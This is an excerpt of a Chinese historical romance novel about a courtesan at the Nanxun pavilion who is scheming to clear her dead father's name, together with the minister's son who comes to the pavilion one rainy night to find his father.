《小枕》 1. 南浔阁 初春晨起,雾尚未散。 临街铺面还未到开张时辰,已有几位清道夫忙着洒扫街面。 尘土裹挟着被碾碎的花瓣,被一股脑堆在道旁。 忽而其中一人俯身从中拾起半支珠钗,慌忙四顾后,塞入袖中,不由暗自窃喜。 昨日南浔阁花魁娘子游街,排场极大,那糖果蜜饯,绢花铜钱不知抛了多少,引得万人空巷,争相哄抢,实为京中一大盛事。 可惜他来得晚,什么也没捡到,更无福窥一眼那天仙之貌。 思此,他抬头望向那五层高的南浔阁,临街这面二三层窗皆开着,偶有人影走动,再往上则薄雾环绕,窗户紧闭,什么也瞧不见了。 清道夫收回艳羡目光,专心洒扫。 无论如何,此地都不是他这等人有资格涉足的。 他挪开目光时,铭竹正上了三楼。 她发髻半散,钗环微斜,妆容也不如昨夜精致。 臂弯间随意搭了件叠起的披帛,满眼倦意地踏上台阶。 到得转弯处她停了停,略有些气闷,便将三楼的小窗推了道缝。 清凉晨雾渗入,在她细腻白皙的小臂上激起一阵颤栗。 她深吸了口气,继续往上,拖着灌了铅的身子上了五楼。 她房间的门半掩着,显然有人在里面。 铭竹蹙眉,无声推开了些,探进身子,看见一个少女正鬼鬼祟祟去拿她放在桌上的酒。 不过显然这位“小偷”没有做小偷的觉悟,直到她临近她身后,幽幽发出一声质问,她才惊叫发觉,踉跄着后退几步跌倒在地。 铭竹眼疾手快扶住梳妆台上摇摇欲坠的银色酒壶。 “来我房间做什么?” 赤梨眼瞪得浑圆,做贼心虚:“你怎么不出声儿?要把我吓死了。” 铭竹将酒壶放入柜中锁上,在梳妆台前坐下卸妆。 “我回我自己屋要出什么声。” 赤梨从地上爬起来,银牙紧咬。 屋内陈设雅致,素色浅纱拢着张香软床榻,金钩上悬着道平安符,窗前高几上养着盆长势甚好的兰草,旁边墙上挂着幅名家字画,其下置一书案,摆着一张古琴,一套笔墨纸砚并几本古籍。 乍一看,哪里像花魁歌伎的屋子,分明是间千金闺房。 装什么清高啊? 赤梨酸溜溜地看向她梳妆台上两大盒的金银玉石珍珠珊瑚,这还只是单昨日一日那些达官显贵富家子弟送的,更多的都装进箱笼送到王妈妈那里去了,只怕她一晚上都高兴得睡不着觉。 “昨日出那样大的风头,叫你得意坏了吧?以后你就是南浔阁的头牌了,别说我们,只怕妈妈都要指着你脸色过日子。” 铭竹不语,慢条斯理地卸下钗环。 她这副态度让赤梨愈发恼怒,声音也不禁抬高。 “所有人都被你骗了!我要揭穿你!” 铭竹按了下太阳穴,被吵得头疼。 “我骗什么了?” “你骗外头那些人你琴棋书画样样精通,让他们以为你是个才女,其实……”赤梨跑去书案前拿起书又摔下,“其实你从来不看书不弹琴不作画,你只是欺负阁中姐妹们都不识字罢了!” “我们画眉点唇,你偏要不施粉黛。” “我们穿漂亮衣裙,你偏要打扮素雅。” 她又跑去揭开香炉,控诉道:“就连这个都不一样,我们熏花香果香的,你却要弄这苦死人的草药!我闻到就讨厌。” 铭竹已散下发,一袭青丝曳地,乌黑顺滑,像是上好的绸缎。 分明擦去了脂粉,却显得眉眼愈发浓艳。 “这是我调配的青月香,闻之不腻,先苦后甘,余味悠长且淡而温和,还有些安神的功效,附庸风雅者最是喜欢,你想要我可以送你。” “我才不要你的东西!” “那你走吧,我困了。” 铭竹搁下象牙梳,将长发拢到背后,轻轻打了个呵欠。 烟花柳巷都是傍晚至夜间开门,她一夜未睡,困意深重,快要扛不住了。 “我、我还没说完呢!” “那你慢慢说。” 赤梨还未张口,铭竹已去榻上歇了。 她隔纱帘侧卧着,一具曼妙躯体高低起伏,玲珑有致,连赤梨都忍不住多看了两眼,才找回自己还未道完的话。 她气冲冲地掀开帘幔。 “阁中姐妹都要陪客人喝酒,再不会喝的妈妈也要逼着学,不然非打即骂,凭什么你是例外?你分明就是会饮酒的,甚至还私藏了一壶,我都看见了!” 铭竹阖着眼,长睫覆处,垂落的阴影与眼下淡青融为一体。 “不是谁都有资格喝我的酒,那是我用来招待初夜贵客的,二两金子一壶,妈妈也知道。” 南浔阁历来的规矩,花魁选出后第三日,便要拍卖其初夜,不止是价高者得,更是借风月场进行的权势较量。 当然,此事乃暗中进行,为心照不宣之行径,京中官员大多不会直接出面。 毕竟大俞朝有律法明文,官员不得狎妓。 因此,南浔阁对外不过是个喝茶饮酒、谈诗论道的风雅去处罢了。 再有钱者,进门喝壶茶无妨,若想再进一步,便要看人脉与权势了。 一掷千金只是搏娘子一笑,寻常人更是连花魁的面都见不到。 铭竹有意逗她,唇角微掀,语气似不经意。 “听说后日季大人也来。” 季原官居五品,是南浔阁的贵客,也是赤梨的长恩客,在铭竹来前,他原有意捧她做花魁的。 赤梨听了这话,一下跳起脚来,如炸了毛的猫。 “季大人才不会这么对我!” 可她想起季大人曾当她面赞过铭竹,称她是什么“云中仙子,谷中幽兰”。 她气红了眼,对铭竹撂下句“我讨厌你”后摔门而去。 铭竹睁开眸,身子虽乏得很,睡意却被赤梨搅去一半。 她起身重添了香,又将放酒的柜门打开看了眼。 壶身纯银打造,錾刻八仙过海之景,人物栩栩如生,毫发毕现。 不提这酒,单论酒壶本身便是难得。 她揭开壶盖,透过小口去看酒水,澄净清亮,色如黄金,却浸着突兀的两片草药叶子。 这是她放进去的。 赤梨说得不错,她是个有手段的人。 后日,会来很多人。 她的目标,是如今朝中权势正盛的刑部尚书凌敬。 在此之前,她只见过这位正二品大员一面。 他隔帘听她弹了一曲广陵散,临走时拨开珠帘与她目光会逢,留了句“弹得不错”便离开了。 此人中等身材,相貌平平,却眼神凌厉,威慑逼人,叫她骇然而莫敢直视,暗道不愧是掌管诏狱之人。 不过事后,她却收到一把上好的古琴,她推测便是这位凌尚书所赠。 原来他是爱琴爱曲之人。 她当即起了心思。 毕竟,父亲若要翻案正名,只能靠这位新上任的凌尚书。 炉上青烟袅袅,淡淡的清苦向四周逸散。 铭竹倦意重来,将酒放好,再度躺到榻上,乌发垂落,粉颊生春。 她盯着那道平安符许久,才在大亮的天光里翻了个身,将脸几乎整个埋进软枕之中,渐渐睡去。 铭竹梦到了娘亲,梦中娘亲却不说话,只是坐在床边无声哭泣。 她知道娘亲在哭什么,哭她冤死的父亲,流放的幼弟,以及……命苦的女儿。 一觉醒来已是午后,铭竹昏昏沉沉坐起,抬手拂去眼尾泪痕。 缓了片刻,才唤人来。 两个小丫头进来伺候她梳洗打扮,又为她送来吃食。 不久,老鸨王妈妈过来待了会儿,先是将她好一番夸,然后递给她一份名单,上面是今晚会来光顾的贵客,让她斟酌着见。 她应了声。 南浔阁表面高雅,毕竟做的还是见不得光的生意,来此的客人非富即贵,是财神爷,个个得罪不得。 而维系好他们亦是阁中女子们的求生之道。 沦落烟花之地的女子,包括她在内,细细追寻出身,无不悲惨。 若被人赎了身,脱去贱籍,娶回家好生相待,便算是命顶好了,大多都是在阁中待到门前冷落,再被卖掉,彻底无人问津。 父亲在松清县任上时,多番想取缔城内青楼,非但没有成功,反被告去州府,受到上级斥责。 父亲此一生纵是勤勤恳恳,两袖清风,性子却太过刚直执拗,即便当地百姓再交口称赞,感恩戴德,父亲依然得不到升迁机会,最后还因一桩大案被无辜构陷,冤死狱中,十岁的幼弟也被流放岭州。 母亲本就体弱多病,为此深受打击,含泪而终。 转眼竟是五年了。 五年。 铭竹从松清县走到了京城,又走入了南浔阁。 一个官宦家的清白小姐,成了青楼雅妓。 日头斜斜,跃入窗棂。 门被敲了几下。 铭竹回过神,说了声进。 一个十岁出头的小厮开门进来,双手提满东西,满脸堆笑。 “铭竹姐,我回来了。” 他轻车熟路地将大包小包放下,逐一清点:“药都是齐的,甘松,檀香,薄荷……老板说品质也是好的,这个我就不懂了,铭竹姐你看一下,要是他骗我,我马上回去找他算账。” 铭竹笑了笑,耐心将药材分拣起来。 母亲多病,她服侍久了,便学了医术,不算精通,倒也够用了。 “还有这些。” 小九的动作明显小心了许多,轻拿轻放,将包袱里的锦盒一一打开,摆在桌上。 有印章,茶盏,镂空银香囊,丝弦等,小九大多认不得,只是将采买单子交给古玩玉器等铺子老板,点了数才拿回来。 铭竹目光仔细掠过,点了点头,给了他二两银子。 “辛苦,买些好吃的吧。” 小九喜笑颜开,刚要道谢,又听她敛眉嘱咐:“不可吃酒,不可赌钱。” 他讪然挠头:“吃酒就两次,赌钱就一次……” 铭竹不多说,自顾收拾着。 小九忙退出去,走了几步,便被一人扯进屋内。 他“唉哟”一声,看清来人,唤了声“赤梨姐姐”。 赤梨松了他,回到铜镜前敷粉。 “铭竹又要你买什么?见天的给她跑腿,眼里是没我们了。” 小九笑道:“各位姐姐支使我我没不愿的,赤梨姐姐可有什么想买的?听说皎月楼又有新的胭脂了,三十六两银子一盒,若是姐姐要,我现下就去跑一趟。” 赤梨轻哼,眉梢眼角染上得意,丹蔻在梳妆台上一盒胭脂盖上敲出一声脆响。 “这可是季大人送我的,是宫里娘娘们时兴用的,谁还要皎月楼那点东西。” 一提起季大人她又想起铭竹的挑衅,不由脸色一沉,又重哼了下。 “铭竹那儿没有这个吧?” 小九摇了摇头,又忍不住道:“赤梨姐姐,铭竹姐人很好,对谁都好,你其实不用嫉妒她的,你长得漂亮,她也……” “小九!”赤梨气骂,“快死出去!” 小九像只泥鳅,立即缩着脖子滑走了。 赤梨愤愤去关门,从铭竹房内蓦然传出一阵流水般的琴音,泠然悦耳,如鸟鸣林,无端散去她心内三分火气。 2. 接客 铭竹抱着琴下楼,楼中姑娘,丫头,小厮凡是见了她的无不向她驻足行礼。 南浔阁中亦有尊卑等级,这在铭竹成了花魁后愈发明显。 按理说,如赤梨这般潜入她房中,又同她大呼小叫,是要受妈妈责罚的,只是赤梨性子骄纵,又有季大人眷顾,只要铭竹不追究,妈妈便也睁只眼闭着眼了。 下到四楼时,她被人叫住,转身一看,竟又是赤梨。 她万般不情愿地嘟囔:“那个……我早上说错了,其实你弹琴还行。” 又补了句:“不过我是不会原谅你抢了我花魁这事的。” 铭竹道:“其实我真不会弹琴,我装来骗你的。” 她转身下楼,听赤梨在身后气得跺脚,不禁低笑。 赤梨生得极美,可惜被卖进这里时年纪太小,又过早遇见位看似真心捧她的贵客,如今十七了,性情却还过分天真单纯。 铭竹抱着琴到了三楼,立在雅间门外的侍女朝她低声说了几句,随后为她开门。 她走进屋内,里面共有四位男子,年岁约莫二十五六,围着一张方桌坐着,姿态放松,桌上已摆上了酒水与点心。 她略扫一眼,便知几人关系不错。 其中一位是这间的贵客正七品的监察御史秦光秦大人,他左手边是他好友,出身奉国将军府的世家公子韩梁,另二位乃铭竹初见,不明身份,不过既能坐在这里,想来也不一般。 她浅浅执礼,几人都看向她,目光难掩炙热。 秦光举杯朝她示意,颇为客气:“我与韩兄邀昔日同窗来此,请姑娘妙手,弹一曲广陵散。” 铭竹颔首,入了帘后。 侍女见状,在帘外点了支香。 有人问:“这是何意?” 韩梁道:“元兄,赖兄,你二位有所不知,铭竹姑娘来此只待半个时辰,多一刻都是不能的。” 另一人惊道:“三千两银子,就买半个时辰?” 秦光微微一笑,轻敲桌面:“这儿是盛京,在这南浔阁,莫说三千两,便是六千两,若非我与韩兄是此处常客,也是没资格花的。” 那二人震惊,还想问什么,一声琴音穿帘而出,如箭矢即发。 一时几人皆消了音,听琴声铿锵,节奏激昂,悲壮桀骜,烈烈高洁,待一曲终了时,连茶凉了都未察觉。 铭竹抱琴而出,再次执礼。 “献丑。” 几人这才回过神,起身抚掌惊叹。 那二人更是连声大赞。 “好!好啊!姑娘当真是琴艺无双!” “不曾想这南浔阁中,竟还有能弹广陵散之人!” 韩梁笑道:“铭竹姑娘的琴似乎比上次更有上古遗音了,今日闻君,真是如见嵇康啊。” 铭竹谦道:“大人过誉,此琴本就是古琴,不过铭竹更换了两根琴弦,还未来得及试音,若有错漏扰耳,请各位大人指点。” 秦光让她一旁坐下,取她的琴轻抚。 “果然是把好琴,配得上姑娘的琴艺。刑部凌大人亦是爱琴之人,尤爱古曲,下个月我府上有个聚会,有意请凌大人赏脸,届时来想请姑娘过府弹一曲助兴,如何?” 铭竹笑而不语。 她轻易不出南浔阁,此事不是她能做主的。 秦光也意识到了,略有些尴尬,便没追问,还了她琴,与好友饮酒闲聊起来。 铭竹在旁轻轻拨弄琴弦,听他们聊起凌尚书,又从凌尚书聊到月初才结束的科考。 原来那二人是进京赶考的举子,此次皆榜上有名,留在京中等待吏部铨选。 聊至兴头,一人拍案道:“我说句公道话,状元榜眼皆是庸才,不过是为安抚北方几州给的面子,我曾与那二人交谈过,尔尔之辈。” 另一人也出言附和。 韩梁沉吟道:“那探花呢?我听说今年的探花郎只是个将满十七的少年。” 秦光扬唇:“韩兄还不知吗?那探花郎便是凌尚书的独子,凌泽。” 韩梁惊讶:“哎呀呀,原来真是一家,我以为本家呢,那这父子二人同朝为官,以后仕途通达,可不得了啊。” 随即他又对秦光方才说要请凌尚书府上聚会一事恍然。 原来好友筹谋在此啊。 秦光不紧不慢地抿了口茶。 “这你可说着了,我还知道一事。这位凌小公子不仅少年英才,更是一等一的容貌,所以,晋王正有意将最小的女儿许配给他。” 一边是权势正盛的新任刑部尚书,一边是有皇室血脉的勋贵亲王,还是当今皇帝的亲叔叔。 王府郡主自小在宫中与公主一同被教养长大,是名副其实的天之骄女。 凌泽年仅十七,已金榜题名,是皇帝钦点的探花,如此才貌双全,出身不凡,也的确配得上,可谓门当户对。 这桩婚事不用想也知,必将在盛京风头无两,传为佳话。 铭竹一边静听一边操琴,并不插话,等侍女提醒到时辰后,从容携琴离去。 几人目送她背影离开,玩笑道:“韩兄,难得见你不风流。” 韩梁摇头:“在这儿随便风流便是下流,丢人。” 那姓元的人不放心地问了句:“方才我们所议朝政朝臣都被那花魁娘子听了去,当真无妨?” 秦光似笑非笑:“放心,南浔阁之所以安然存在,靠得便是此道。” 何况他方才说的可都是好话。 铭竹回房休息了会儿,又重新梳洗、熏香,换了衣裳,弃琴而取茶盏,提前入了三楼一间雅间等候。 夕阳半落,霞光万道。 她临窗而坐,烹茶待客。 不久,她的客人便到了。 “季大人。” “铭竹姑娘。”季原朝她笑了下,却主动让出位置。 铭竹视线落去,见他身后钻出一个人影,此人甚是神秘,全身笼在黑袍兜帽下,看不清形容。 她并不多问,请二人入座,亲自斟茶。 茶煮得正是时候,清香怡人。 铭竹茶道不如琴艺精通,却也不会出错,动作行云流水般赏心悦目。 两杯茶被捧到二人面前。 那黑袍人压低声音,好奇问:“季大人,你的茶盏为何与我的不同?” 季原看了铭竹一眼。 铭竹轻声解释:“上次无意碰落大人一枚茶盏,特以此补救。” “季大人来此还自带茶盏?” 季原摇头。 那人笑起来:“那真是怪了,既如此,那你碰落的是你们南浔阁自备的茶盏,怎么却要特意还一只来?” 铭竹似未听出其语带讥讽,依旧不紧不慢:“来此是客,请客饮茶,是以相赠,非是相借,我错在先,大人宽容是仁义,我赔罪是感恩。上次听大人言谈之间对建盏颇有兴致,特意寻来一只,请大人闲时赏玩。” 季原听她一番说辞,又见那建盏铁胎黑釉,深腹大口,确实不错,不禁交口称赞:“花 魁娘子,铭竹姑娘当之无愧。” 那黑袍人也无话可说,便端起茶来轻啜了口,先是说没有味道,紧接着又皱眉道了句“好苦”,仿佛故意找茬似的。 季原听罢也尝了尝,不解:“此乃白茶,怎么会苦?” 那人正要辩解,铭竹却将茶盏取了回来。 “待我为姑娘换茶。” 黑袍人愣了愣,才摘下兜帽,露出一张芙蓉俏面。 “你怎么看出来的?” 季原笑起来:“我就说,你这点小伎俩,连我都瞒不过,如何瞒得过铭竹姑娘。” 他颇为无奈地向铭竹介绍:“这位乃晋王府郡主,其兄长与我是好友,拗不过她闹,非要让我带她来此偷偷凑回热闹。” 铭竹起身行礼,面色不显,心内想笑。 不久前才听人说起这位天之骄女与今科探花的事,这便就见到了。 她温声细语:“郡主口舌发苦,怕是着了风寒,若是信我,可让我探一探脉。” 她伸出手去。 郡主望着眼前这只纤细修长,柔弱无骨的手,犹豫了下,将手伸了过去。 铭竹手指搭在腕间,温热细腻,仿佛玉石。 片刻,她收回道:“是有些着凉,不过并不要紧,大约是春夜起风,我煮了药茶来,郡主饮下发发汗便好。” “药茶?我不喝。” “甜的。” “哪有甜的药?”郡主目光怀疑地打量她。 “我这儿就有。” 铭竹受之坦然。 这勾起了郡主好奇。 “那我倒要试试,若是撒谎,我就治你的罪。” “任凭郡主处置。” 季原欲说些什么,铭竹朝他悄然点头,他莫名放下了心。 即便他与郡主兄长是好友,也无法担得起这位千金有任何损失。 请铭竹来果然没错,三言两语就将郡主哄得开心,若是赤梨,只怕两人能吵起来。 临走时,小郡主甚至还有些不情愿,说下次还来。 季原苦笑,心里喊了声祖宗,哪里还敢有第二次。 堂堂郡主竟来逛青楼,若让王爷王妃知晓,他都不敢想后果。 于是只好说了句:“听闻郡主婚事将定,岂有时间常来这种地方?” 郡主抿了抿唇,最终没有反驳。 …… 铭竹逐一褪去钗环首饰,重新挽了发,只在发间并入支素净的白玉簪。 又洗去铅华,略施粉黛,换了浅色衣裳,袖间刻意熏了墨香才下楼。 下楼时,她看向窗外。 天已彻底黑了,夜幕上星子闪烁。 今晚还有一位客人。 是位贵客。 须在四楼接待的贵客。 她回忆起那份妈妈拿来的名单,排在第一位的,是个假名。 但妈妈悄声告诉他,这位亦是朝中的大人物,品阶不低,须小心接待,最好哄得他去捧她后日的场,为她抬高身价。 铭竹业已猜出来的人是谁了。 ——户部尚书白恒一。 其先父病逝未满三年,尚在孝期,年前朝廷夺情起复。 门外传来脚步声,她先一步拉开了门,温声道:“大人,请。” 南浔阁往来多是达官显贵,朝中事真真假假她听得不少。 若是传闻非虚,那这位白尚书,与凌尚书乃是政敌。 于她图谋是否有利,或可接近一试。 3. 风雨 乌云层层叠叠,间有银蛇游走。 陡然一道刺目刀光从苍穹劈下,轰隆一声炸响,扰了不知多少人清梦。 铭竹睁开眼,屋内没有点灯,晦暗幽深。 她起身走到窗边,推开缝隙,向外窥去。 水汽拥挤地附着在她手上,雨已经下起来了,不过屋里还是有点闷。 她这两日都没有见客,任何人都不见。 作为被送上拍卖场的物品,她需要让自己的身价更高一点。 如她所见,她不露面,来见她的人反而更多。 妈妈告诉她,她那曲广陵散不知怎么传开了,将她吹捧得天上有地上无的,甚至还有说她的琴能招魂,故人归来,才有金石之音,奏成绝响。 铭竹不大意外这事。 她只弹过两次广陵散,上一次是弹给凌敬听。 秦光倒还罢了,韩梁韩公子算是有名的风流纨绔,京中每家秦楼楚馆都能留情,听她一曲,自然要去外面吹嘘。 若是能传入凌尚书耳中,他必会留意,因为那是他送的琴,而铭竹却改了弦。 如此,他今晚大概率会来。 还有另一个原因,白恒一答应了捧她的场,若是他来,二人则会暗争。 铭竹思绪纷杂,没有睡意。 还有一个时辰天亮,这场雨不知会不会停。 她转身,又是一声惊雷炸响。 闪电寒光掠过之际,屋内影影绰绰,似有冤魂厉鬼扭曲嚎叫,令人胆颤。 铭竹儿时很怕打雷,一定要和母亲去睡,母亲那样风吹就倒的弱女子,在她面前却是最强大无畏的。 她抱她在怀,柔声说:“咱们不做亏心事就不怕天威,打雷闪电是上天惩罚坏人的铜锤铁鞭。” 铭竹点点头,但还是怕。 她想,因为那是有爹娘护着,她可以怕。 就像孩子哪怕真在外面闯了祸,做了坏事,也能回家找大人。 但她现在不是孩子了。 她转过头直视沉沉夜幕,刺目亮光倏然划过她瞳孔时,她眉头也不再皱一下。 睡不着便索性不睡了。 铭竹点了灯,将准备的东西又检查了遍。 她心里倒不如外表那样平静。 凌敬今晚若不来,她以后纵能另找机会也是渺茫。 当然,即便成了,今晚过后,她也将不是南浔阁的花魁,在这里不会有立足之地。 甚至在京城都难寻一处真正的安身之所。 天亮后雨果然停了,她勉强又睡了会儿,没多久就被人吵醒。 妈妈过来和她又商量了几遍今晚拍卖的细节。 她为着这笔巨款感到兴奋难耐,也对她愈发客气,嘘寒问暖。 赤梨则过来和她吵架,哭得梨花带雨。 她质问她为何要抢她的金主,她才知道季大人前天晚上来了,却没有找她,只见了铭竹。 铭竹并不讨厌赤梨,只觉得她娇蛮纯真。 这正是她的可爱之处,却也是她的缺陷。 季原原想捧她做花魁来着,所以至今还没碰她,否则他那样的人不会轻易放过她的。 季原有妻有女,夫妻对外还算恩爱。 赤梨却总还幻想着他过个三五年会为她赎身,让她进门做个妾。 铭竹送了她一只建盏。 “买了一对,另一只在季大人那里,这只给你,要不要?” 赤梨又是咬牙又是跺脚,最终还是没舍得拒绝。 “还是你有心机。” 她根本就不知道季大人喜欢什么。 “过奖。” “我不白要你的东西,这个多少钱我买了。” “值你全部家当。” “……蒋铭竹!你在逗我?!” 铭竹淡定:“没错,你今晚帮我个忙,同意就拿走,不同意就放下你自己走。” 赤梨纠结半天,终是跺了跺脚,揣起茶盏走了。 铭竹笑了声,见天色不早,准备梳洗打扮,却又有楼里一位姐妹来找她,脸色看着不大好。 她迟疑半晌,问她要一副凉药。 青楼中的姑娘们为防受孕,大多都会在特定时候服用凉药,只是那些凉药对身体伤害很大,服用过度甚至会彻底毁去生育能力。 铭竹懂医术,之前擅自改配药方,减了毒性,予阁内姐妹去用。 因要忙晚上的事,铭竹便没多问,从柜中取了一副配好的药给她。 “这里够熬三次,用量不能太多,否则寒气入体,每回月事都要疼痛加剧。” 她接过道了声谢就匆匆走了。 铭竹倒是盯着她的背影看了一会儿才关上门。 不巧,夜幕将将降临,阴云便再次积空。 铭竹心里不安,这并非好的征兆。 不说别的,单论天气,若是疾风骤雨电闪雷鸣,那来南浔阁的人都要减半,甚少有人喜欢在这样的夜晚出门。 才刚梳洗好,妈妈就差人来唤她了。 说是客人已经开始到了,催她快去三楼等候。 铭竹压下心中隐忧,将床前悬挂的平安符握在胸口捂了捂,然后深吸口气,站到铜镜前最后确认了一遍。 烛火摇曳,镜中人影忽明忽灭。 一袭淡粉色纱裙层层叠叠笼着一具曼妙胴体,如烟似雾,宛从云端来。 铭竹静静端详自己,她一副骨相继承的是父亲,轮廓分明,眉峰,鼻梁都高高的,却承托着和母亲一样温婉柔和的眉眼。 淡极生艳,反而无须过多装饰。 不过如今镜中自己描眉点唇,乍一看灿灿生辉,也是好看的,只是不大像她。 纱裙覆着玲珑躯体,勾勒出纤细腰肢,偏有意无意泄两分春光,她稍抬浓睫,眸底恰到好处地浮些笑意,似嗔非嗔,让人挪不开眼。 冰肌玉骨,螓首蛾眉。 千娇百媚,我见犹怜。 似一朵含苞待放的芍药,让人恨不得采摘,捧入掌心把玩。 这便是她要的。 平日里她一身清高才女的气质,不媚俗也不讨好,能够吸引那些附庸风雅之人另眼相看,而今晚,她恰恰需要一份讨好感,来满足那群男人的征服欲。 青楼中何来皎月,拉下它,才是他们真正想做的事。 已经沦落泥土了。 但是蒋铭竹,她对自己说,你至少还活着。 - 昨夜未下完的雨终于随雷声再度落下。 暴雨如注,将玉林院初开的海棠打得七零八落。 两个小厮一前一后撑伞执灯,护着凌岁津进了游廊,还不等他们收伞,他们公子便已先一步跨入院门,跑进主屋。 “母亲 如何?” 他急切问。 丫鬟见他这般冒雨前来吓了一跳,忙用帕子替他擦拭身上雨水。 “夫人还好,倒是你这样淋雨,也不怕着了凉,生了病,反倒叫夫人担心。” “听闻母亲病了,我何曾顾得上这些。” 凌岁津摆了摆手,自顾拨起帘子进了里屋。 “姨娘也在。” 他先向床榻之侧的妇人行了个礼。 田氏起身让他:“夫人刚醒着呢,才说了会儿话,哥儿既过来了,我便先回了。” 凌岁津看向母亲,见母亲闭着眼,似心情不好,便借送姨娘出去,悄悄问了句父亲在哪儿。 田氏苦笑一声。 “还能在哪儿,必定是在他那把爱琴的主人那儿了。” 凌岁津皱了皱眉。 他自然知道父亲爱琴,通音律,也知道他将那把难得的古琴赠予了南浔阁一位青楼女子。 此事荒唐得很,母亲知晓后,曾与父亲大吵一架,两人关系至今也未缓和。 但母亲既病了,父亲还去寻花问柳,未免太无情了些。 姨娘临走之际,又扯住他衣袖提醒。 “泽哥儿,夫人这是心病。” 凌岁津再进到里屋时,母亲已靠坐起来了,丫鬟端了杯热茶来给他。 “快喝下去,免得着凉,分明是来看夫人的,莫叫夫人担心了你。” 他笑着道谢了声,乖乖端起茶去喝。 郭夫人抬眼打量起自己的儿子,眼里既心疼又欣慰。 少年立在烛光里,身形颀长,挺拔如松,俨然是个大人了。 凌岁津是她的独子,亦是凌家唯一的儿子。 她当年怀得艰难,生得更是艰难,他出生后身子弱,三天两头生病,她那时只盼望着他平安长大就好,没想到他竟还这样有出息。 三岁作诗,四岁成文,今年不过十七,就已被皇上钦点为探花,又生得这般好模样,轩轩霞举,谪仙之姿,是全京城多少世家子弟都比不上的。 听说,连晋王都有意将郡主许给他,只是还未正式过媒而已。 念及此,郭夫人心中郁结都稍稍宽慰了些。 有子如此,只望他顺利成家。 届时就算凌敬那个王八蛋真抬个青楼女子进来做妾,她也懒得管了。 轰隆一道雷声,将她惊得打了个颤。 凌岁津已坐到她面前,握住她手:“母亲莫怕,我在这里呢。” 郭夫人回过神,见儿子来得着急,衣摆肩头皆被雨水打湿了,不由心疼道:“母亲没事,你父亲虽不在,院里却还有这么多服侍的人呢,你快回去将衣裳换了,早早歇下,明日不还有事出门吗?” 凌岁津还想开口,话又被母亲堵住,实在拗不过,只好多关心了几句才离开。 雨始终未停。 才走到自己院门前,他又想起什么,便问小厮正言可听过南浔阁。 小厮:“不但听过,还认识路呢,南浔阁在京城那可是赫赫有名的风雅之地。” 凌岁津诧异:“你莫非也去过?” 小厮讪笑:“去是去过,不过只在一楼大厅喝了杯茶而已。” 凌岁津犹豫片刻,下定了决心。 “索性衣也湿了,干脆不换了,你头前带路,我去一趟南浔阁请父亲回家。” 4. 如晦 马车轧过青石板的水洼,溅起尺高的浪花。 凌岁津从马车下来,衣摆将浓重的水汽卷进了南浔阁一楼。 纵是雨夜,一楼人却不少,三三两两落座,厅中灯火通明,沿着四面伸向二楼的楼梯,还能瞧见楼上一些人影来来往往,只是少了许多。 再往里便是一间后院,回字长廊中,不乏文人墨客饮酒听雨。 他一进来便有小厮笑脸相迎,请他一旁落座喝茶。 凌岁津头次来这种地方,颇有些不大自在,掸了掸身上的雨水。 “我是来找人的。” “公子大可坐下,慢慢找。” 正言上前一步:“我家公子要找的人不在一楼,让我们上去。” 小厮再度打量凌岁津,见其虽年轻,却气度不凡,便问其身份。 正言正要开口,被凌岁津拦下。 他觉得父亲身为朝廷命官,来此处并不光彩,因此不愿明言。 于是道:“我来找你们南浔阁的铭竹姑娘。” 小厮将他上下一扫,直起腰板笑。 “谁不想见我们铭竹姑娘?可全京城也没几个能见着的,公子您是什么身份呢?可有提前预约?不瞒您说,今晚是铭竹姑娘的重要场子,来捧她的老爷们皆有头有脸。” 凌岁津站在大厅,已感觉到好几道视线打探过来,再听这话,不由耳根发热。 他只好看了正言一眼,后者领会,搭着小厮肩膀耳语几句,给他看了身份凭证。 小厮点头,态度客气了些,引着二人往楼上去。 凌岁津踏上台阶时,正巧迎面下来一位貌美的蓝衣女子,粉面桃腮,冲他甩着帕子嫣然一笑。 “公子头回来?可以找我。我叫蝶儿,常在二楼,喝酒唱曲打牌都很精通哦。” 凌岁津双颊腾一下红了,主动让路:“……姑娘先下。” “这般年轻,又有礼貌,我喜欢。” 凌岁津脸红心跳,招架不住对方的热情,也不知如何回应。 他确实不适合来这种地方,这和被架在火上炙烤没有分别。 正言双眼放光地接话:“蝶儿姐姐,我来行吗?” “你?行啊,先拿一百两银子来。” “什么?一……一百两?” 蝶儿嗤笑一声,那小厮才插话。 “蝶儿姐,这位公子今夜是冲着四楼去的。” 蝶儿挑了挑眉:”哟,原来是为着铭竹来的,这敢情好,老少皆宜了。” 待小厮继续引路上到二楼,凌岁津才松了口气,只觉衣裳湿的,都分不清汗水还是雨水了。 小厮见多识广,心下觉得好笑。 南浔阁名气大,不知多少世家贵公子因好奇涉足此地,别看眼下矜持青涩,不出两回,保管乐不思蜀,做不成君子。 二楼到三楼,凌岁津的贴身小厮没资格上去,只能留在这里等候,凌岁津颇有些局促,垂在袖中的手攥了攥,才继续上了三楼。 到了三楼正巧也有姑娘走来,他忙移目站定,神情紧张,但对方只是朝他点了点头,便径直路过了,并未有与他攀谈打算。 他暗暗松了口气,不动声色地环顾四周。 南浔阁内有乾坤,层层风景皆不同,到了三楼,已几乎不见敞开门的包厢了,也甚少听得呼喝嬉闹之声,若静心凝神,隐约还有丝竹管弦入耳。 小厮将他带到一处狭窄的楼梯口。 木梯幽深,折角敛去视线,无法直窥楼上。 “凌公子,小人只能带到这里了,无论您为找人也好,为捧场也好,上了四楼可自行其便。” 凌岁津略思忖,取了一枚银锭给他。 “多谢。” 既已到这里了,自然要见到父亲才行。 凌岁津深吸了口气,硬着头皮拾阶而上。 四楼却是出乎他意料,非但比不上二楼三楼的奢华辉煌,一眼看去,走廊竟如同迷宫一般,包间也少得多,人行其中,完全听不到里面的声音。 他不知该往前还是往后,此处仿佛另个世界,与楼下热闹完全隔绝开来。 凌岁津回头看了眼楼梯口,也隐蔽在门口,若非他方才从此处上来,是断然找不到出路的。 父亲当真不该来这种地方。 他心道。 母亲还在家病着,又是这样的雷雨之夜,正是最需要父亲的时候。 他定了定神,向前走去。 本想敲个门问问路的,谁知走了几步,先撞见了一位红衣姑娘,他忙拱手上前行礼。 赤梨有些惊讶:“你也是来找铭竹的?那你来晚了,她那边已结束了,你若是想见她,只管往前去,走到尽头,在那间房门口候着就是。” 凌岁津刚要道谢,赤梨又提醒:“哎,记得不要进去,那里面已有人了,是铭竹今夜的贵客,你惹不起。” 说罢,赤梨提了裙摆快步离开。 烦死了,若非欠铭竹一个人情,她才不想给铭竹跑腿呢,竟还替她送了回酒,没得被那位大人冷脸。 凌岁津依言走去,期间倒是听见几声古朴琴音,不过还未靠近,琴音又骤然停歇。 